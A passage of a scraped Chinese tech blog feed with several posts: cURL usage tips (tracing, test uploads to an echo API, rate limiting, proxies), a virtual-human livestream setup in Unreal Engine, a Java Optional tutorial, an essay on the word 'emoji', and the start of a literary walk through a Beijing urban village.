class=mnav\u0026gt;视频\u0026lt;/a\u0026gt; \u0026lt;a href=http://tieba.baidu.com name=tj_trtieba class=mnav\u0026gt;贴吧\u0026lt;/a\u0026gt; \u0026lt;noscript\u0026gt; \u0026lt;a href=http://www.baidu.com/bdorz/login.gif?login\u0026amp;amp;tpl=mn\u0026amp;amp;u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb\u0026gt;登录\u0026lt;/a\u0026gt; \u0026lt;/noscript\u0026gt; \u0026lt;script\u0026gt;document.write(\u0026#39;\u0026lt;a href=\u0026#34;http://www.baidu.com/bdorz/login.gif?login\u0026amp;tpl=mn\u0026amp;u=\u0026#39;+ encodeURIComponent(window.location.href+ (window.location.search === \u0026#34;\u0026#34; ? \u0026#34;?\u0026#34; : \u0026#34;\u0026amp;\u0026#34;)+ \u0026#34;bdorz_come=1\u0026#34;)+ \u0026#39;\u0026#34; name=\u0026#34;tj_login\u0026#34; class=\u0026#34;lb\u0026#34;\u0026gt;登录\u0026lt;/a\u0026gt;\u0026#39;); 45 \u0026lt;/script\u0026gt; \u0026lt;a href=//www.baidu.com/more/ name=tj_briicon class=bri style=\u0026#34;display: block;\u0026#34;\u0026gt;更多产品\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=ftCon\u0026gt; \u0026lt;div id=ftConw\u0026gt; \u0026lt;p id=lh\u0026gt; \u0026lt;a href=http://home.baidu.com\u0026gt;关于百度\u0026lt;/a\u0026gt; \u0026lt;a href=http://ir.baidu.com\u0026gt;About Baidu\u0026lt;/a\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;p id=cp\u0026gt;\u0026amp;copy;2017\u0026amp;nbsp;Baidu\u0026amp;nbsp;\u0026lt;a href=http://www.baidu.com/duty/\u0026gt;使用百度前必读\u0026lt;/a\u0026gt;\u0026amp;nbsp; \u0026lt;a href=http://jianyi.baidu.com/ class=cp-feedback\u0026gt;意见反馈\u0026lt;/a\u0026gt;\u0026amp;nbsp; 京 ICP 证 030173 号\u0026amp;nbsp; \u0026lt;img src=//www.baidu.com/img/gs.gif\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 46* Connection #0 to host www.baidu.com left intact 可以看到，包括握手过程、请求、响应信息一应俱全。\n加 -v 参数的作用就是就是为了跟踪（trace）一下请求，看看具体细节，这跟你 F12 的目的是一样的。此外，如果你想看到具体的请求、响应时间点可以加入 \u0026ndash;trace-time 参数，最后的命令如下：\n1curl -v --trace-time https://www.baidu.com 效果是这样的：\n1❯ curl -v --trace-time https://www.baidu.com 218:15:50.680025 * Trying 110.242.68.4:443... 318:15:50.692744 * Connected to www.baidu.com (110.242.68.4) port 443 (#0) 418:15:50.693142 * ALPN: offers h2 518:15:50.693165 * ALPN: offers http/1.1 618:15:50.706507 * TLSv1.3 (OUT), TLS handshake, Client hello (1): 718:15:50.723346 * TLSv1.3 (IN), TLS handshake, Server hello (2): 818:15:50.723509 * TLSv1.2 (IN), TLS handshake, Certificate (11): 918:15:50.724242 * TLSv1.2 (IN), TLS handshake, Server key exchange (12): 1018:15:50.724370 * TLSv1.2 (IN), TLS handshake, Server finished (14): 1118:15:50.724572 * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): 1218:15:50.724628 * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): 1318:15:50.724727 * TLSv1.2 (OUT), TLS handshake, Finished (20): 1418:15:50.740045 * TLSv1.2 (IN), TLS handshake, Finished (20): 1518:15:50.740086 * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 1618:15:50.740105 * ALPN: server accepted http/1.1 1718:15:50.740129 * Server certificate: 1818:15:50.740160 * subject: C=CN; ST=beijing; L=beijing; OU=service operation department; O=Beijing Baidu Netcom Science Technology Co., Ltd; CN=baidu.com 1918:15:50.740182 * start date: Jul 5 05:16:02 2022 GMT 2018:15:50.740200 * expire date: Aug 6 05:16:01 2023 GMT 2118:15:50.740256 * subjectAltName: host \u0026#34;www.baidu.com\u0026#34; matched cert\u0026#39;s \u0026#34;*.baidu.com\u0026#34; 2218:15:50.740298 * issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign RSA OV SSL CA 2018 2318:15:50.740317 * SSL certificate verify ok. 2418:15:50.740391 \u0026gt; GET / HTTP/1.1 2518:15:50.740391 \u0026gt; Host: www.baidu.com 2618:15:50.740391 \u0026gt; User-Agent: curl/7.83.1 2718:15:50.740391 \u0026gt; Accept: */* 2818:15:50.740391 \u0026gt; 2918:15:50.753580 * Mark bundle as not supporting multiuse 3018:15:50.753605 \u0026lt; HTTP/1.1 200 OK 3118:15:50.753623 \u0026lt; Accept-Ranges: bytes 3218:15:50.753641 \u0026lt; Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform 3318:15:50.753661 \u0026lt; Connection: keep-alive 3418:15:50.753680 \u0026lt; Content-Length: 2443 3518:15:50.753703 \u0026lt; Content-Type: text/html 3618:15:50.753725 \u0026lt; Date: Fri, 22 Jul 2022 10:15:50 GMT 3718:15:50.753762 \u0026lt; Etag: \u0026#34;588603e2-98b\u0026#34; 3818:15:50.753789 \u0026lt; Last-Modified: Mon, 23 Jan 2017 13:23:46 GMT 3918:15:50.753809 \u0026lt; Pragma: no-cache 4018:15:50.753831 \u0026lt; Server: bfe/1.0.8.18 4118:15:50.753856 \u0026lt; Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/ 4218:15:50.753878 \u0026lt; 接下来就是上传的部分了，-F 参数用来向服务器上传二进制文件。\n1❯ curl -v --trace-time \u0026#39;https://postman-echo.com/post\u0026#39; -F \u0026#39;fileName=@\u0026#34;/Users/xiaobox/Desktop/cookies.txt\u0026#34;\u0026#39; 解释一下这行命令：\nhttps://postman-echo.com/post 是我找到的一个公共 API，你可以用来测试上传文件 -v \u0026ndash;trace 上面讲过了 -F 会给 HTTP 请求加上标头 Content-Type: multipart/form-data，然后将我桌面的文件 cookies.txt 作为 file 字段上传。 -F 参数可以指定 MIME 类型，也可以改文件名。\n1curl -v --trace-time \u0026#39;https://postman-echo.com/post\u0026#39; -F \u0026#39;fileName=@/Users/xiaobox/Desktop/cookies.txt;type=text/plain;filename=me.txt\u0026#39; 上面命令指定 MIME 类型为 text/plain，否则 curl 会把 MIME 类型设为 application/octet-stream 上面命令中，原始文件名为 cookies.txt，但是服务器接收到的文件名为 me.txt。 最后总结，如果你想用一条 cURL 命令测试上传接口，可以利用类似下面的参数组合：\n1curl -v --trace-time \u0026#39;https://postman-echo.com/post\u0026#39; -F \u0026#39;fileName=@/Users/xiaobox/Desktop/cookies.txt;type=text/plain;filename=me.txt\u0026#39; 弱网测试 顾名思义，就是模拟你的客户端用户在网络较差的环境下，比如 网速很低的时候，网络请求的情况。\n我们还是拿百度举例子，你可以用以下一组命令在 1k 和 200B 的不同速度下对比看看响应情况：\n1 2curl -v --trace-time --limit-rate 1k http://www.baidu.com 3 4curl -v --trace-time --limit-rate 200B http://www.baidu.com 注意 limit-rate 是同时限制 request 和 response，也就是 请求、响应都限制成一样的速率了。\n自动重定向 1❯ curl https://www.bilibili.com 2Redirecting to \u0026lt;a href=\u0026#34;//www.bilibili.com/?rt=V%2FymTlOu4ow%2Fy4xxNWPUZ91QLE3Z%2BfhZ8P5SQVD30Nw%3D\u0026#34;\u0026gt;//www.bilibili.com/?rt=V%2FymTlOu4ow%2Fy4xxNWPUZ91QLE3Z%2BfhZ8P5SQVD30Nw%3D\u0026lt;/a\u0026gt;.% 你看到了 B 站给我们重定向了，我们可以利用 -L 参数让 cURL 自动重定向。\n1curl -L httsp://www.bilibili.com 注意 是大写的 L\n科学上网后 cURL 不通？ 假设你已经配置了科学上网，我们直接 cURL google 看一下\n1❯ curl -v https://www.google.com 2* Trying 74.86.151.167:443... 3* connect to 74.86.151.167 port 443 failed: Operation timed out 4* Failed to connect to www.google.com port 443 after 75400 ms: Operation timed out 5* Closing connection 0 6curl: (28) Failed to connect to www.google.com port 443 after 75400 ms: Operation timed out 一般情况下是失败的\n再假设你用的 VPN 客户端是 clashX 因为我用的是这个，就用这个举例。\n点击 “复制终端代理命令”，然后在你的终端执行一下：\n1❯ export https_proxy=http://127.0.0.1:7890 http_proxy=http://127.0.0.1:7890 all_proxy=socks5://127.0.0.1:7890 再用 cURL, 你会发现就可以成功了。如果你用的不是 clashX 其他的 VPN 客户端应该也有类似功能\n保存响应内容 ？ 可以利用 -o 参数将响应的结果保存到文件中：\n1 curl -o google.txt https://www.google.com 下载文件并显示进度？ cURL 可以当 wget 用\n-o 参数将服务器的回应保存成文件，等同于 wget 命令\n下载文件的同时显示进度可以使用类似下面的命令：\n1❯ curl -# -o pic.jpg https://w.wallhaven.cc/full/pk/wallhaven-pk6993.png 参数太多，不想拼？ cURL 是好用，但如果我是个 web 应用，需要拼接一堆参数，那太麻烦了，简直劝退。\n是的，所以 浏览器也想到了，你可以在浏览器先正常发出请求，然后利用浏览器的工具将 cURL 的命令复制出来。\n可以复制单个请求，也可以是页面的所有请求。然后你就可以粘贴到终端执行了。\n是不是很方便 ？\n获取所在地 IP 1 2curl -L tool.lu/ip 3# or 4curl -L ip.tool.lu 获取天气预报？ 我们看看北京的：\n1curl \u0026#39;wttr.in/Beijing?lang=zh\u0026#39; 吐槽苹果 这是一则去年关于 cURL 的旧新闻：https://www.163.com/dy/article/GTOGN8D20544B1XD.html\ncurl 作者吐槽苹果把他当做免费工具人\n了解这样的新闻可以帮助你更深刻地认识开源、商业以及整个软件的生态情况。\n参考 https://www.ruanyifeng.com/blog/2019/09/curl-reference.html https://catonmat.net/cookbooks/curl https://mp.weixin.qq.com/s?__biz=MjM5MjAwODM4MA==\u0026amp;mid=2650815877\u0026amp;idx=3\u0026amp;sn=b312574c2c4e5c9bd6fdb6f906df1e2e\u0026amp;chksm=bd584c568a2fc5408e68a2bec8730ab456a4357631616615370c516f202a5d10b1342f3566c1\u0026amp;mpshare=1\u0026amp;scene=1\u0026amp;srcid=07189V82hG1lx6sMFoakJlXA\u0026amp;sharer_sharetime=1658151024021\u0026amp;sharer_shareid=8db3fb6c9d4c226a712c1d5f99a37cb0#rd ","date":"2022-07-22T12:09:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-22-miao-yong-curl/cover.jpg","permalink":"/p/2022-07-22-miao-yong-curl/","title":"妙用 cURL"},{"content":"目标 利用 Live Link Face + unrealEngine + quixel bridge 方案，实现虚拟形象的建模和控制。为后面的直播等应用搭建基础流程。\n安装和配置 unrealEngine （虚幻引擎） 需要从下面的链接先下载 Epic Games launcher 安装好后，再下载并安装 unrealEngine\nhttps://www.unrealengine.com/en-US/download\n我下载的是 Unreal Engine 5.0.3 的版本\nquixel bridge 如果是 5 之前的版本，可以到官网下载 ：https://quixel.com/bridge\n5 的话会自己带这个插件不用单独下载了。\nmetahuman https://www.unrealengine.com/en-US/metahuman\n要申请 “参加抢先体验”\n提交申请以后会到这个界面 ：\n看到下图就 OK 了\n从这里往后等待的时间会比较长，首先点击 Launch latest MetaHuman Creator\n然后不到一分钟左右到这里，这里要等待好几分钟，视你的网络情况而定\n你看到这个界面后就进来了：\n你是可以自己创建角色的，当然也可以用预置好的这些，我用一个预置的角色演示：\n启动虚幻引擎 因为网络问题等了好久才启动成功\n然后创建一个项目，选游戏和空白模版就可以了\n软件第一次启动后，你想用 bridge 导入时会发现有错误提示，需要再安装一个 web browser 插件才能用 bridge ，具体是这里的第二个：\n接着登录 bridge，找到你之前创建的角色，把它导入到 虚幻引擎的工程中\n这里找到我们刚才编辑的角色\n经过漫长的等待，终于可以导入角色了\n会提示要启用插件，点击启用后重启软件。\n重启过程中漫长的等待，然后软件 终于打开了。\n在漫长的等待中你会经过 N 次这个：\n导入角色 选 BP 开头的文件\nLive Link Face iphone x 以上手机安装 live link face 应用 ，手机用线连接到电脑。\n然后左上角设置→Live Link→ 点击添加目标，输入 PC 的 IP ，端口用默认的。\n遗憾的是虚幻5 各种尝试后都无法显示出 iphone 我的型号是 iphoneXR ，试了 iphoneXS也不行，也折腾了网络，还是不行，于是还是改用低版本 4.27 也还是没连上，实在太费时间就放弃了。所以 4 和 5 我都没连通，哎。\n好处是 4.27 有一个官方的免费 demo 可以下载使用，叫 “faceAR” ，从虚幻商城下载，直接拿来用，比较快，也不用自己通过 metahuman 建模型了\n效果 虽然我由于各种原因没有连通，但思路就是这样的，最终的效果就是你对着手机做动作，它就可以实时同步到虚拟人那端了，来看看成功的效果:\n如果是直播的话，可以把虚拟显示结果直接利用 OBS 推流到直播平台。\n注意 安装过程中如遇到网络问题，请使用科学上网。 建议使用性能较好的电脑，否则等待时间过长，CPU 在安装和使用过程中经常会 100% ，也没法用。 如遇到 “正在编辑着色器” 、“正在准备着色器” 一类的提示，没什么更好的办法加速，请耐心等待。 虚幻 5 是不错，但非常卡，我的设备是 macbook Pro i7 6 核 32G 内存，CPU 直接 100%了。所以我觉得 5 还是得 m1 芯片才顶得住。 应用 直播 游戏 AR 元宇宙 想像空间很大，直播应该已经有人做了，youtube 有个叫 CodeMiko 可以看下。\nCodeMiko 背后其实是一个真实的人，她通过动作捕捉技术，实现与虚拟人的语言和动作同步。\n国内也已经有人在做了，可能将来从各大短视频平台能陆续看到这类虚拟主播了\n有没有人买账？ 不用担心，买账的比你想像的多。\n所以，一直说炒概念的元宇宙离我们真的很远吗？\n参考 https://www.bilibili.com/video/BV1GB4y1M7iH?spm_id_from=333.337.search-card.all.click\u0026amp;vd_source=6fb7f58b736bb5913c33073b42979450 https://www.youtube.com/watch?v=OH4lXi0HAKo https://www.bilibili.com/read/cv15994528/ https://www.bilibili.com/video/BV1LV411r7Sk/?spm_id_from=333.788.recommend_more_video.1\u0026amp;vd_source=6fb7f58b736bb5913c33073b42979450 ","date":"2022-07-19T05:32:45Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-19-xu-ni-ren-zhi-bo-yuan-yu-zhou-li-wo-men-you-duo-yuan/cover.jpg","permalink":"/p/2022-07-19-xu-ni-ren-zhi-bo-yuan-yu-zhou-li-wo-men-you-duo-yuan/","title":"虚拟人直播-元宇宙离我们有多远？"},{"content":"使用和避免 null “\nGoogle 底层代码库，95%的集合类不接受 null 值作为元素。相比默默地接受 null，使用快速失败操作拒绝 null 值对开发者更有帮助。\n”\n很多 Guava 工具类对 Null 值都采用快速失败操作，此外，Guava 还提供了很多工具类，让你更方便地用特定值替换 Null 值\n例子 我们知道 JDK8 以后 也参考 Guava 加入了 Optional的 API，使用上跟 Guava 的区别不大，例子中我们使用 JDK 的 API 来演示。\n直接上个实际工作中的案例即：“对象的嵌套判空”\n比如我有个对象，对象的某个属性也是对象，然后就这样一直嵌套下去，比如：\n1@Data 2public class Test1{ 3 4 private String info=\u0026#34;info1\u0026#34;; 5 private Test2 test2; 6} 7 8@Data 9public class Test2 { 10 11 private String info; 12 private Test3 test3; 13} 14 15@Data 16public class Test3 { 17 18 private String info; 19 private Test4 test4; 20} 21 22@Data 23public class Test4 { 24 25 private String info = \u0026#34;test4 info\u0026#34;; 26} 为了减少代码量和版面，我使用了 Lombok\n1\u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.projectlombok\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;lombok\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;1.18.24\u0026lt;/version\u0026gt; 5 \u0026lt;scope\u0026gt;provided\u0026lt;/scope\u0026gt; 6\u0026lt;/dependency\u0026gt; 如果我想使用 Test4 的 info 属性，可以用 if 一直嵌套判断下来：\n1if (test1 != null) { 2 3 Test2 test2 = test1.getTest2(); 4 5 if (test2 != null) { 6 7 Test3 test3 = test2.getTest3(); 8 9 if (test3 != null) { 10 11 Test4 test4 = test3.getTest4(); 12 13 if (test4 != null) { 14 15 System.out.println(test4.getInfo()); 16 } 17 } 18 19 } 20} 对象层级一深，代码很臃肿。Optional 可以帮我们用一行代码解决掉！\n1String info1 = Optional.ofNullable(test1) 2 .map(Test1::getTest2) 3 .map(Test2::getTest3) 4 .map(Test3::getTest4) 5 .map(Test4::getInfo) 6 .orElse(\u0026#34;hello\u0026#34;); 7 8System.out.println(info1); 这行代码达到的效果和上面的 if 一样\n解释一下上面几个 Optional 的方法：\nofNullable : 如果 test 为空，则返回一个单例空 Optional 对象，如果非空则返回一个 Optional 包装对象，Optional 将 test 包装\nmap: 如果为空，继续返回第一步中的单例 Optional 对象，否则调用 Test 的 getTest 方法；\norElst: 获得 map 中的 value，不为空则直接返回 value，为空则返回传入的参数作为默认值\n上面代码中的 map 方法也可以换作 flatMap 方法，区别是 ：flatMap 要求返回值为 Optional 类型，而 map 不需要，flatMap 不会多层包装，map 返回会再次包装 Optional。\n我们这里 Test 类是普通类并没有使用 Optional 包装，如果这么写就可以使用 flatMap：\n1@Data 2public class Test1 { 3 4 private String info = \u0026#34;info1\u0026#34;; 5 private Optional\u0026lt;Test2\u0026gt; test2; 6} 此外我们还可以在发生空指针的情况下，抛出异常或自定义异常：\n1 String info2 = Optional.of(test1) 2 .map(Test1::getTest2) 3 .map(Test2::getTest3) 4 .map(Test3::getTest4) 5 .map(Test4::getInfo) 6 .orElseThrow(() -\u0026gt; new RuntimeException(\u0026#34;有空指针异常，对象内容为： \u0026#34; + ToStringBuilder.reflectionToString(test1，new MultilineRecursiveToStringStyle()))); 7 8System.out.println(info2); 可能你注意到了，我这里的异常输出中用到了 ToStringBuilder 这个类，这个是 Apache Commons Lang3 的库类\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;org.apache.commons\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;commons-lang3\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;3.12.0\u0026lt;/version\u0026gt; 5 \u0026lt;/dependency\u0026gt; 使用它的原因是：我们利用 Optional 一行代码就可以判断很多空指针是不错，但最后就算能捕捉异常也不能确定到底是哪个对象的哪个属性为空，如果只是笼统的给出顶层对象的异常信息，对于排错还是不很直观。当然如果要非常细致地判断和打印日志又会加大代码量，所以想了个折中的办法：将对象的信息递归地打印出来，这样是不是空在排查的时候就一目了然了。ToStringBuilder.reflectionToString方法可以帮我做到。\n1ToStringBuilder.reflectionToString(test1, new MultilineRecursiveToStringStyle()) MultilineRecursiveToStringStyle 也可替换为RecursiveToStringStyle，只是不同的显示 Style 罢了\n如果我只有 test1 对象不为空，剩下的都为空，那么打印结果如下：\n1com.xiaobox.gauva.test.Test1@2a5ca609[ 2 info=info1, 3 test2=\u0026lt;null\u0026gt; 4] 如果我的 test1 和 test2 对象都不为空，那么打印结果如下：\n1com.xiaobox.gauva.test.Test1@2a5ca609[ 2 info=info1, 3 test2=com.xiaobox.gauva.test.Test2@26be92ad[ 4 info=\u0026lt;null\u0026gt;, 5 test3=\u0026lt;null\u0026gt; 6 ] 7] 这样的话，我就可以把信息合并到异常信息中，在排查问题时可以借助这些信息快速定位到哪个对象或哪个属性为空了。\n注意: 上面的例子中抛出了异常，但因为不是受检异常，所以 IDE 并没有提示我进行捕捉，写代码有些时候忘了捕获异常，所以，请记得它是将异常 throws 出去了。处理异常的时候别忘了。\n比如一般我们可以这样\n1private static void opExceptionMethod() throws Exception { 2 String info2 = Optional.of(test1) 3 .map(Test1::getTest2) 4 .map(Test2::getTest3) 5 .map(Test3::getTest4) 6 .map(Test4::getInfo) 7 .orElseThrow(() -\u0026gt; new RuntimeException(\u0026#34;有空指针异常，对象内容为： \u0026#34; + ToStringBuilder.reflectionToString(test1, new MultilineRecursiveToStringStyle()))); 8 9 System.out.println(info2); 10} 显式地抛出，调用者就必须要捕获处理了。当然也可以不抛出，直接在代码块 try catch\n防御性编程 “\n使用 Optional 除了赋予 null 语义，增加了可读性，最大的优点在于它是一种傻瓜式的防护。Optional 迫使你积极思考引用缺失的情况，因为你必须显式地从 Optional 获取引用。直接使用 null 很容易让人忘掉某些情形，尽管 FindBugs 可以帮助查找 null 相关的问题，但是我们还是认为它并不能准确地定位问题根源。\n”\n“\n如同输入参数，方法的返回值也可能是 null。和其他人一样，你绝对很可能会忘记别人写的方法 method(a,b) 会返回一个 null，就好像当你实现 method(a,b) 时，也很可能忘记输入参数 a 可以为 null。将方法的返回类型指定为 Optional，也可以迫使调用者思考返回的引用缺失的情形。\n”\n关于 null 的建议 不要在 Set 中使用 null，或者把 null 作为 map 的键值。使用特殊值代表 null 会让查找操作的语义更清晰。\n如果你想把 null 作为 map 中某条目的值，更好的办法是 不把这一条目放到 map 中，而是单独维护一个”值为 null 的键集合” (null keys)\n其他 从 Spring 5 开始，可以使用 null 安全注解来帮助编写更安全的代码。此功能称为“空安全性”，这是一组注解，其作用类似于监视潜在的空引用的安全措施。\n空安全功能不是让摆脱不安全的代码，而是在编译时生成警告。这样的警告可以防止在运行时发生灾难性的空指针\n注意这些注解只会发出警告，由于有了这个提示，可以提前发现问题，并能够采取适当的措施来避免运行时失败，也就是说你还是可以传递 null 值进来 。\n@NonNull 注解 ：可以在需要对象引用的任何地方使用此注解声明非 null 约束：字段，方法参数或方法的返回值。\n@NonNullFields 注解 ：包（Package）级别注解，通知开发工具默认情况下，带注释的包中的所有字段均为非空。\n@Nullable 注解：有时，希望免除某些字段，使其不受程序包级别指定的非 null 约束的约束。\n@NonNullApi 注解 : 包（Package）级别注解，@NonNullFields 仅仅适用于字段。如果希望对方法的参数和返回值产生相同的影响，则需要@NonNullApi, 此注解只适用于包级别\n看一个例子：\n这是 Spring 框架中 Spring-Core 的 package-info文件内容\n路径为：/org/springframework/spring-core/5.2.15.RELEASE/spring-core-5.2.15.RELEASE-sources.jar!/org/springframework/core/package-info.java\n1@NonNullApi 2@NonNullFields 3package org.springframework.core; 4 5import org.springframework.lang.NonNullApi; 6import org.springframework.lang.NonNullFields; 参考 https://coolshell.cn/articles/17757.html https://juejin.cn/post/6844903718375129095 https://blog.csdn.net/niugang0920/article/details/116291106 ","date":"2022-07-17T07:42:33Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-17-gen-zhe-guava-xue-java-zhi-optional/cover.jpg","permalink":"/p/2022-07-17-gen-zhe-guava-xue-java-zhi-optional/","title":"跟着 Guava 学 Java 之 Optional"},{"content":"\nemoji 大家都在用，就是各种表情，可是它为什么叫 emoji呢，查了下英文的词典没看出个所以然来，于是查了一下中文维基百科：\n“\nEmoji（日语：絵文字／えもじ emoji），是使用在网页和聊天中的形意符号，最初是日本在无线通信中所使用的视觉情感符号。表情意指面部表情，图标则是图形标志的意思，可用来代表多种表情，如笑脸表示笑、蛋糕表示食物等。在香港除“表情图标”外，也有称作“绘文字”或“emoji”。在台湾 LINE 软件中，表情符号又被叫做“表情贴”。在中国大陆，表情符号通常直称“emoji”或称“表情符号”。新马即“绘文字”或直接称“emoji”\n”\n好像 emoji 是个日语单词的感觉，再查下英文的维基百科\n“\nAn emoji (/ɪˈmoʊdʒiː/ i-MOH-jee; plural emoji or emojis) is a pictogram, logogram, ideogram or smiley embedded in text and used in electronic messages and web pages. The primary function of emoji is to fill in emotional cues otherwise missing from typed conversation. Some examples of emoji are 😂, 😃, 🧘🏻‍♂️, 🌍, 🌦️, 🍞, 🚗, 📞, 🎉, ❤️, 🍆, 🏁, among many others. Emoji exist in various genres, including facial expressions, common objects, places and types of weather, and animals. They are much like emoticons, but emoji are pictures rather than typographic approximations; the term \u0026ldquo;emoji\u0026rdquo; in the strict sense refers to such pictures which can be represented as encoded characters, but it is sometimes applied to messaging stickers by extension.Originally meaning pictograph, the word emoji comes from Japanese e （絵，\u0026lsquo;picture\u0026rsquo;) + moji （文字，\u0026lsquo;character\u0026rsquo;); the resemblance to the English words emotion and emoticon is purely coincidental. The ISO 15924 script code for emoji is Zsye.\n”\nthe word emoji comes from Japanese e （絵，\u0026lsquo;picture\u0026rsquo;) + moji （文字，\u0026lsquo;character\u0026rsquo;)\n明确了，它就是从日文来的，而且是两个词合起来的，我们去词典软件听一下日文原音\n连发音都一模一样，看来 emoji 就是从日文音译过去的，类似中文的 Kongfu（功夫）😁\n这里还有一部讲 emoji 的纪录片，感兴趣的可能找资源看一下，不过很遗憾，国内我是没找到。\n其他 emoji 有的也是有人物原型的，比如 🧕🏻\n如果你想提交自己设计的 emoji 可以看一下 Unicode 的指南：https://unicode.org/emoji/proposals.html#selection_factors\n编程 我们在代码提交的时候也可以加入 emoji , 这样可以让读者更直观地知道要表达的大致内容方向。\ngitmoji 是一个标准化和解释在 GitHub 提交消息上使用 emoji 的倡议。gitmoji 是一个开源项目，专门规定了在 github 提交代码时应当遵循的 emoji 规范\n“\n在执行 git commit 指令时使用 emoji图标为本次提交添加一个特别的图标， 这个本次提交的记录很容易突出重点，或者说光看图标就知道本次提交的目的。这样就方便在日后查看历史提交日子记录中快速的查找到对于的提交版本。由于有很多不同的表情符号，表情库更新后，没有一个可以帮助更轻松地使用表情符号的中文表情库列表。所以这里主要列出 gitmoji项目中规定的emoji规范的表情符号列表。\n”\n语言 emoji 会成为新时代的 “语言”吗？\n不知道，但在语言之外的表达上（如情绪），emoji 其实已经超越语言了，无论你使用的是英语、汉语、日语还是其他什么语言，都能看懂 emoji，因为它是图形，一图胜千言。\nfor girls 2017年的一项调查强调，在英国，月经给女性带来羞耻感。随后，英国国际计划组织发起了一项争取经期表情符号的活动，这个新表情符号由此而来。对于“月经表情”，英国国际计划组织起初提供了五个方案，分别是卫生巾、月历（即带有血滴的日历）、微笑/难过的血滴、子宫、经期内裤，这五个方案的共同特点都是红色的血滴。\n最终网友投票选出了“经期内裤”这一方案前去送审，不过，负责为表情包编码并对其实施管理职能的 Unicode 拒绝了这个方案。\n官方给的理由是 🩸已经能表达这个意思了，不需要再添加一个新的。\n英国国际计划组织没有就此放弃，而于去年再次提交了新一版“月经表情”申请：一滴红色的液体。这个设计是该组织与英国国家医疗服务体系的血液与移植中心合作完成的。\n这个表情包可以表达全球8亿女性每个月都在经历的事情，加入这个表情是将月经正常化和打破其污名的重要一步。\n一个表情包并不能解决这些问题，但它确实能帮助改变人们的讨论。从开放讨论一步步解除人们对于月经的羞耻感。\n试想，如果你的女儿正经历月经初潮，可能不懂或者不好意思表达，但她需要你的帮助，你也不好意思问，如果有这样一个表情，可能家长就能 “心领神会”，就能避免一些问题的发生。\n数量 emoji 会越来越多吗？\n随着时间的推移，更多的 emoji 提交被审核通过。\nemoji 越多越好吗？\n不是的，想像一下，你手机里如果有成千上万个 emoji 你还会从里面挑选吗，这太麻烦了，而且我们日常用的也就是那一小部分。\n参考 https://gitmoji.js.org/ https://hooj0.github.io/git-emoji-guide/ https://language.chinadaily.com.cn/a/201903/02/WS5c79d590a3106c65c34ec4d6.html ","date":"2022-07-16T06:42:07Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-07-16-emoji-wei-shen-me-jiao-emoji/cover.jpg","permalink":"/p/2022-07-16-emoji-wei-shen-me-jiao-emoji/","title":"emoji 为什么叫 emoji"},{"content":"\n善各庄 午后散步，沿着 14 号线东段一直向北走，天色也逐渐暗了下来。越往北走人烟越稀少，零星有些建筑，但都没有亮灯。穿过一座天桥，不远处显眼的蓝色地铁标志提示我已经走到善各庄站了，这是 14 号线的终点站。\n马路对面一辆公交车停了下来，一个姑娘急匆匆地从车上跑下，向地铁站方向奔来。擦肩而过的时候我看清了她的样子，穿着白色的裙子，戴着眼镜，大约像个学生。这附近有大学吗？我不禁自问。\n我向四周观望，除了地铁站这里明显的光亮外，在前方还有一片光亮，于是顺着那片光亮走去。一阵风吹来，夹杂着烤串的香味，我断定那里有人，于是加快了脚步。四周很黑，只有一个公交场站，和几个路人，再往前走，豁然开朗！\n其实只看一眼我就知道到了什么地方，这是一个典型的“城中村”，虽然从位置上看，它本来就是个村，但功能上早就不是我们理解的村庄了。这里有两排小饭店，就是城乡结合部那种连起来的小平房。说是饭店，其实做什么生意的都有，主要是以餐饮为主，有卖熟食的、卖水果的、理发店、杂货店。旁边还有两块空地，在那里坐满了烤串、喝酒、吃晚饭、侃大山的人们。往深处走去，在这些“商家”的后面是一排排的二层小楼，这里还算干净，各家门前有的凉着衣服，有的放着自行车、电动车，有的是小孩子的玩具，偶尔有几个纳凉的坐在门前的小板凳上，扇着扇子。\n这里对我来说并不新鲜，可我走着看着，就走不动了，越看越走不动，我心里只有两个字：“生活”。这里住着各色人物，有送外卖的，有送快递的，有干代驾的，有搬家的，这是我从散落在各地的交通工具看出来的。这个时间很多人可能是刚结束了一天的工作回到住处，他们并没有我想像的那么劳累，反而略显兴奋和放松，可能是终于结束了工作可以休息和家人团聚了，每个人都不紧不慢的，有的还会互相打个招呼。\n几个穿着衬衣系着领带的小伙子从远处走来，很明显他们和刚才从我身边走过的穿着正装的姑娘一样是“链家”的中介。其中一个小伙子搂着身边穿着花裙子的姑娘走进了一家水果店，他们面带笑容，透着跟那身衣服不相符的青春和热情。一个穿着灰色 T-Shirt, 黑色短裤，戴着黑框眼镜的小伙子走了过去，手里不断在手机上打着字，他背上的双肩包好像很重，让他多少显得有些驼背。他可能是个程序员吧，我猜。他从旁边的小店买了两个馒头和一份凉菜一共 7 块 5 毛钱。\n一个打扮时髦的年轻女孩从路边的一辆轿车上下来，向着路旁的深处有人住的地方走去，这样的女孩子，就算走在 CBD 